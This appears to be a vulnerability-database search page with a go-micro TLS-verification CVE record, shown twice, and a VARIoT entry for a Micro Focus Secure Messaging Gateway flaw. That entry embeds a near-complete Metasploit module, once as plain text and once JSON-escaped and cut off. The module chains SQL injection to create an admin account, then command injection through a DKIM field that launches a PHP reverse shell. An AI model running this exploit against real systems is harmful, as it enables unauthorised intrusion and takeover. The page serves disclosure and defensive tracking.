Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
5 vulnerabilities by micro
CVE-2026-105216 (GCVE-0-2026-105216)
Vulnerability from nvd – Published: 2026-10-04 17:09 – Updated: 2026-10-05 00:47
VLAI
EPSS
VEX
Title
go-micro before 6.0.0 Disabled TLS Certificate Verification via tls.Config Helper
Summary
go-micro before 6.0.0 contains an improper certificate validation vulnerability that allows network attackers to impersonate services because the shared TLS helper sets InsecureSkipVerify to true by default. Man-in-the-middle attackers can present any certificate to intercept or modify gRPC transport, HTTP and RabbitMQ broker, and Consul or etcd registry traffic, including authentication tokens and credentials.
Severity
7.4 (High)
CWE
- CWE-295 - Improper Certificate Validation
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/micro/go-micro/issues/2963 | issue-tracking |
| https://github.com/micro/go-micro/commit/c7657f73… | patch |
| https://github.com/micro/go-micro/blob/v5.30.0/in… | technical-description |
| https://github.com/micro/go-micro | product |
| https://www.vulncheck.com/advisories/go-micro-bef… | third-party-advisory |
Date Public
2026-06-15 00:00
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:golang/go-micro.dev/v5",
"product": "go-micro",
"vendor": "micro",
"versions": [
{
"lessThan": "6.0.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Siyang Wu"
}
],
"datePublic": "2026-06-15T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "go-micro before 6.0.0 contains an improper certificate validation vulnerability that allows network attackers to impersonate services because the shared TLS helper sets InsecureSkipVerify to true by default. Man-in-the-middle attackers can present any certificate to intercept or modify gRPC transport, HTTP and RabbitMQ broker, and Consul or etcd registry traffic, including authentication tokens and credentials."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-295",
"description": "Improper Certificate Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-05T00:47:07.327Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Issue #2963",
"tags": [
"issue-tracking"
],
"url": "https://github.com/micro/go-micro/issues/2963"
},
{
"tags": [
"patch"
],
"url": "https://github.com/micro/go-micro/commit/c7657f73f45cf839e643db10f28703eeab7299c3"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/micro/go-micro/blob/v5.30.0/internal/util/tls/tls.go#L43-L67"
},
{
"tags": [
"product"
],
"url": "https://github.com/micro/go-micro"
},
{
"name": "VulnCheck Advisory: go-micro before 6.0.0 Disabled TLS Certificate Verification via tls.Config Helper",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/go-micro-before-6.0.0-disabled-tls-certificate-verification-via-tls-config-helper"
}
],
"title": "go-micro before 6.0.0 Disabled TLS Certificate Verification via tls.Config Helper",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-105216",
"datePublished": "2026-10-04T17:09:52.327Z",
"dateReserved": "2026-10-04T13:04:00.478Z",
"dateUpdated": "2026-10-05T00:47:07.327Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-105216 (GCVE-0-2026-105216)
Vulnerability from cvelistv5 – Published: 2026-10-04 17:09 – Updated: 2026-10-05 00:47
VLAI
EPSS
VEX
Title
go-micro before 6.0.0 Disabled TLS Certificate Verification via tls.Config Helper
Summary
go-micro before 6.0.0 contains an improper certificate validation vulnerability that allows network attackers to impersonate services because the shared TLS helper sets InsecureSkipVerify to true by default. Man-in-the-middle attackers can present any certificate to intercept or modify gRPC transport, HTTP and RabbitMQ broker, and Consul or etcd registry traffic, including authentication tokens and credentials.
Severity
7.4 (High)
CWE
- CWE-295 - Improper Certificate Validation
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/micro/go-micro/issues/2963 | issue-tracking |
| https://github.com/micro/go-micro/commit/c7657f73… | patch |
| https://github.com/micro/go-micro/blob/v5.30.0/in… | technical-description |
| https://github.com/micro/go-micro | product |
| https://www.vulncheck.com/advisories/go-micro-bef… | third-party-advisory |
Date Public
2026-06-15 00:00
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:golang/go-micro.dev/v5",
"product": "go-micro",
"vendor": "micro",
"versions": [
{
"lessThan": "6.0.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Siyang Wu"
}
],
"datePublic": "2026-06-15T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "go-micro before 6.0.0 contains an improper certificate validation vulnerability that allows network attackers to impersonate services because the shared TLS helper sets InsecureSkipVerify to true by default. Man-in-the-middle attackers can present any certificate to intercept or modify gRPC transport, HTTP and RabbitMQ broker, and Consul or etcd registry traffic, including authentication tokens and credentials."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-295",
"description": "Improper Certificate Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-05T00:47:07.327Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Issue #2963",
"tags": [
"issue-tracking"
],
"url": "https://github.com/micro/go-micro/issues/2963"
},
{
"tags": [
"patch"
],
"url": "https://github.com/micro/go-micro/commit/c7657f73f45cf839e643db10f28703eeab7299c3"
},
{
"tags": [
"technical-description"
],
"url": "https://github.com/micro/go-micro/blob/v5.30.0/internal/util/tls/tls.go#L43-L67"
},
{
"tags": [
"product"
],
"url": "https://github.com/micro/go-micro"
},
{
"name": "VulnCheck Advisory: go-micro before 6.0.0 Disabled TLS Certificate Verification via tls.Config Helper",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/go-micro-before-6.0.0-disabled-tls-certificate-verification-via-tls-config-helper"
}
],
"title": "go-micro before 6.0.0 Disabled TLS Certificate Verification via tls.Config Helper",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-105216",
"datePublished": "2026-10-04T17:09:52.327Z",
"dateReserved": "2026-10-04T13:04:00.478Z",
"dateUpdated": "2026-10-05T00:47:07.327Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
VAR-201806-1215
Vulnerability from variot - Updated: 2023-12-18 13:24A SQL injection vulnerability in the web administration and quarantine components of Micro Focus Secure Messaging Gateway allows an unauthenticated remote attacker to execute arbitrary SQL statements against the database. This can be exploited to create an administrative account and used in conjunction with CVE-2018-12465 to achieve unauthenticated remote code execution. Affects Micro Focus Secure Messaging Gateway versions prior to 471. It does not affect previous versions of the product that use the GWAVA product name (i.e. GWAVA 6.5). Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. The product includes functions such as virus protection, anti-spam, anti-DDos attack and image analysis. Web administration is one of the Web-based management components; quarantine is one of the file isolation components. An unauthenticated user can execute a terminal command under the context of the web user.
One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding,
which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system.
manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible
to access this endpoint without having a valid session.
Combining these vulnerabilities gives the opportunity execute operation system commands under the context
of the web user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/'],
['CVE', '2018-12464'],
['CVE', '2018-12465'],
['URL', 'https://support.microfocus.com/kb/doc.php?id=7023132'],
['URL', 'https://support.microfocus.com/kb/doc.php?id=7023133']
],
'DefaultOptions' =>
{
'Payload' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => false,
'DisclosureDate' => "Jun 19 2018",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
end
def execute_query(query) # # We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques # but since we are able to use stacked-query approach, following form of payload is required in order to be able # get back the output of query ! # sql = rand_text_alphanumeric(3 + rand(3)) sql << "') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine " sql << "LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine " sql << "LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; " sql << query sql << "; -- " sql << rand_text_alphanumeric(3 + rand(3))
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'),
'vars_post' => {
'appkey' => sql
}
)
end
def something_went_wrong fail_with Failure::Unknown, 'Something went wrong' end
def check r = rand_text_numeric(15..35) res = execute_query("SELECT #{r}") unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 && res.body.include?(r) return CheckCode::Safe end CheckCode::Vulnerable end
def implant_payload(cookie) print_status('Creating a domain record with a malformed DKIM data') p = [ { :id => 'temp_0', :Description => rand_text_alpha(5), :DkimList => [ { :Domain => "$(php -r '#{payload.encoded}')", :Selector => '', :TempId => 'tempDkim_1' } ] } ].to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_save_data.json.php'), 'cookie' => cookie, 'vars_get' => { 'cache' => 0, }, 'vars_post' => { 'StateData' => '[{"ouid":1}]', 'SaveData' => p } })
if res && res.code == 200 && res.body.include?('DbNodeId')
# Defining as global variable since we need to access them later within clean up function.
begin
@domainid = res.get_json_document['Nodes'][0]['DbNodeId']
@dkimid = res.get_json_document['Nodes'][1]['DbNodeId']
rescue => e
fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}"
end
print_good('Payload is successfully implanted')
else
something_went_wrong
end
end
def create_user # We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection # issue location where requires a valid session ! print_status('Creating a user with appropriate privileges')
# Defining as global variable since we need to access them later within clean up function.
@username = rand_text_alpha_lower(5..25)
@userid = rand_text_numeric(6..8)
query = "INSERT INTO account VALUES (#{@userid}, 1, '#{@username}', '0', '', 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)"
execute_query(query)
res = execute_query("SELECT * FROM account WHERE loginname = '#{@username}'")
if res && res.code == 200 && res.body.include?(@username)
print_good("User successfully created. Username : #{@username}")
else
something_went_wrong
end
end
def login print_status("Authenticating with created user") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'security', 'securitygate.php'), 'vars_post' => { 'username' => @username, 'password' => rand_text_alpha_lower(5..25), 'passwordmandatory' => rand_text_alpha_lower(5..25), 'LimitInterfaceId' => 1 } ) if res && res.code == 200 && res.body.include?('/ui/default/index.php') print_good('Successfully authenticated') cookie = res.get_cookies else something_went_wrong end cookie end
def exploit unless check == CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable' end
create_user
cookie = login
implant_payload(cookie)
print_status('Triggering an implanted payload')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'contents', 'ou', 'manage_domains_dkim_keygen_request.php'),
'cookie' => cookie,
'vars_get' => {
'cache' => 0,
},
'vars_post' => {
'DkimRecordId' => @dkimid
}
})
end
def on_new_session(session) print_status('Cleaning up...') cmd = "" cmd << 'PGPASSWORD=postgres psql -U postgres -d SecureGateway -c "' cmd << "DELETE FROM account WHERE loginname ='#{@username}';" cmd << "DELETE FROM UserRole WHERE idaccount = #{@userid};" cmd << "DELETE FROM Domain WHERE iddomain = #{@domainid};" cmd << "DELETE FROM DkimSignature WHERE iddkimsignature = #{@dkimid};" cmd << '"' session.shell_command_token(cmd) end
end
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201806-1215",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "secure messaging gateway",
"scope": "lt",
"trust": 1.0,
"vendor": "microfocus",
"version": "471"
},
{
"model": "micro focus secure messaging gateway",
"scope": "lt",
"trust": 0.8,
"vendor": "microfocus",
"version": "471"
},
{
"model": "focus secure messaging gateway",
"scope": "eq",
"trust": 0.3,
"vendor": "micro",
"version": "471"
}
],
"sources": [
{
"db": "BID",
"id": "106343"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-006867"
},
{
"db": "NVD",
"id": "CVE-2018-12464"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:microfocus:secure_messaging_gateway:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndExcluding": "471",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2018-12464"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "MEHMET INCE",
"sources": [
{
"db": "BID",
"id": "106343"
},
{
"db": "PACKETSTORM",
"id": "148758"
}
],
"trust": 0.4
},
"cve": "CVE-2018-12464",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "HIGH",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "Partial",
"baseScore": 7.5,
"confidentialityImpact": "Partial",
"exploitabilityScore": null,
"id": "CVE-2018-12464",
"impactScore": null,
"integrityImpact": "Partial",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "High",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-122426",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "NVD",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "security@opentext.com",
"availabilityImpact": "HIGH",
"baseScore": 10.0,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"impactScore": 6.0,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.0"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2018-12464",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "NVD",
"id": "CVE-2018-12464",
"trust": 1.8,
"value": "CRITICAL"
},
{
"author": "security@opentext.com",
"id": "CVE-2018-12464",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "CNNVD",
"id": "CNNVD-201807-018",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-122426",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-122426"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-006867"
},
{
"db": "NVD",
"id": "CVE-2018-12464"
},
{
"db": "NVD",
"id": "CVE-2018-12464"
},
{
"db": "CNNVD",
"id": "CNNVD-201807-018"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "A SQL injection vulnerability in the web administration and quarantine components of Micro Focus Secure Messaging Gateway allows an unauthenticated remote attacker to execute arbitrary SQL statements against the database. This can be exploited to create an administrative account and used in conjunction with CVE-2018-12465 to achieve unauthenticated remote code execution. Affects Micro Focus Secure Messaging Gateway versions prior to 471. It does not affect previous versions of the product that use the GWAVA product name (i.e. GWAVA 6.5). \nExploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. The product includes functions such as virus protection, anti-spam, anti-DDos attack and image analysis. Web administration is one of the Web-based management components; quarantine is one of the file isolation components. \n An unauthenticated user can execute a terminal command under the context of the web user. \n\n One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding,\n which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system. \n manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It\u0027s not possible\n to access this endpoint without having a valid session. \n\n Combining these vulnerabilities gives the opportunity execute operation system commands under the context\n of the web user. \n },\n \u0027License\u0027 =\u003e MSF_LICENSE,\n \u0027Author\u0027 =\u003e\n [\n \u0027Mehmet Ince \u003cmehmet@mehmetince.net\u003e\u0027 # author \u0026 msf module\n ],\n \u0027References\u0027 =\u003e\n [\n [\u0027URL\u0027, \u0027https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/\u0027],\n [\u0027CVE\u0027, \u00272018-12464\u0027],\n [\u0027CVE\u0027, \u00272018-12465\u0027],\n [\u0027URL\u0027, \u0027https://support.microfocus.com/kb/doc.php?id=7023132\u0027],\n [\u0027URL\u0027, \u0027https://support.microfocus.com/kb/doc.php?id=7023133\u0027]\n ],\n \u0027DefaultOptions\u0027 =\u003e\n {\n \u0027Payload\u0027 =\u003e \u0027php/meterpreter/reverse_tcp\u0027,\n \u0027Encoder\u0027 =\u003e \u0027php/base64\u0027\n },\n \u0027Platform\u0027 =\u003e [\u0027php\u0027],\n \u0027Arch\u0027 =\u003e ARCH_PHP,\n \u0027Targets\u0027 =\u003e [[ \u0027Automatic\u0027, { }]],\n \u0027Privileged\u0027 =\u003e false,\n \u0027DisclosureDate\u0027 =\u003e \"Jun 19 2018\",\n \u0027DefaultTarget\u0027 =\u003e 0\n ))\n\n register_options(\n [\n OptString.new(\u0027TARGETURI\u0027, [true, \u0027The URI of the vulnerable instance\u0027, \u0027/\u0027])\n ]\n )\n end\n\n def execute_query(query)\n #\n # We have a very rare SQLi case in here. Normally, it\u0027s would be very easy to exploit it by using time-based techniques\n # but since we are able to use stacked-query approach, following form of payload is required in order to be able\n # get back the output of query !\n #\n sql = rand_text_alphanumeric(3 + rand(3))\n sql \u003c\u003c \"\u0027) LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine \"\n sql \u003c\u003c \"LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine \"\n sql \u003c\u003c \"LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; \"\n sql \u003c\u003c query\n sql \u003c\u003c \"; -- \"\n sql \u003c\u003c rand_text_alphanumeric(3 + rand(3))\n\n send_request_cgi(\n \u0027method\u0027 =\u003e \u0027POST\u0027,\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027api\u0027, \u00271\u0027, \u0027enginelist.php\u0027),\n \u0027vars_post\u0027 =\u003e {\n \u0027appkey\u0027 =\u003e sql\n }\n )\n\n end\n\n def something_went_wrong\n fail_with Failure::Unknown, \u0027Something went wrong\u0027\n end\n\n def check\n r = rand_text_numeric(15..35)\n res = execute_query(\"SELECT #{r}\")\n unless res\n vprint_error \u0027Connection failed\u0027\n return CheckCode::Unknown\n end\n unless res.code == 200 \u0026\u0026 res.body.include?(r)\n return CheckCode::Safe\n end\n CheckCode::Vulnerable\n end\n\n def implant_payload(cookie)\n print_status(\u0027Creating a domain record with a malformed DKIM data\u0027)\n p = [\n {\n :id =\u003e \u0027temp_0\u0027,\n :Description =\u003e rand_text_alpha(5),\n :DkimList =\u003e [\n {\n :Domain =\u003e \"$(php -r \u0027#{payload.encoded}\u0027)\",\n :Selector =\u003e \u0027\u0027,\n :TempId =\u003e \u0027tempDkim_1\u0027\n }\n ]\n }\n ].to_json\n res = send_request_cgi({\n \u0027method\u0027 =\u003e \u0027POST\u0027,\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027admin\u0027, \u0027contents\u0027, \u0027ou\u0027, \u0027manage_domains_save_data.json.php\u0027),\n \u0027cookie\u0027 =\u003e cookie,\n \u0027vars_get\u0027 =\u003e {\n \u0027cache\u0027 =\u003e 0,\n },\n \u0027vars_post\u0027 =\u003e {\n \u0027StateData\u0027 =\u003e \u0027[{\"ouid\":1}]\u0027,\n \u0027SaveData\u0027 =\u003e p\n }\n })\n\n if res \u0026\u0026 res.code == 200 \u0026\u0026 res.body.include?(\u0027DbNodeId\u0027)\n # Defining as global variable since we need to access them later within clean up function. \n begin\n @domainid = res.get_json_document[\u0027Nodes\u0027][0][\u0027DbNodeId\u0027]\n @dkimid = res.get_json_document[\u0027Nodes\u0027][1][\u0027DbNodeId\u0027]\n rescue =\u003e e\n fail_with Failure::UnexpectedReply, \"Something went horribly wrong while implanting the payload : #{e.message}\"\n end\n print_good(\u0027Payload is successfully implanted\u0027)\n else\n something_went_wrong\n end\n end\n\n def create_user\n # We need to create an user by exploiting SQLi flaws so we can reach out to cmd injection\n # issue location where requires a valid session !\n print_status(\u0027Creating a user with appropriate privileges\u0027)\n\n # Defining as global variable since we need to access them later within clean up function. \n @username = rand_text_alpha_lower(5..25)\n @userid = rand_text_numeric(6..8)\n query = \"INSERT INTO account VALUES (#{@userid}, 1, \u0027#{@username}\u0027, \u00270\u0027, \u0027\u0027, 1,61011);INSERT INTO UserRole VALUES (#{@userid},#{@userid},1),(#{@userid.to_i-1},#{@userid},2)\"\n\n execute_query(query)\n res = execute_query(\"SELECT * FROM account WHERE loginname = \u0027#{@username}\u0027\")\n\n if res \u0026\u0026 res.code == 200 \u0026\u0026 res.body.include?(@username)\n print_good(\"User successfully created. Username : #{@username}\")\n else\n something_went_wrong\n end\n end\n\n def login\n print_status(\"Authenticating with created user\")\n res = send_request_cgi(\n \u0027method\u0027 =\u003e \u0027POST\u0027,\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027security\u0027, \u0027securitygate.php\u0027),\n \u0027vars_post\u0027 =\u003e {\n 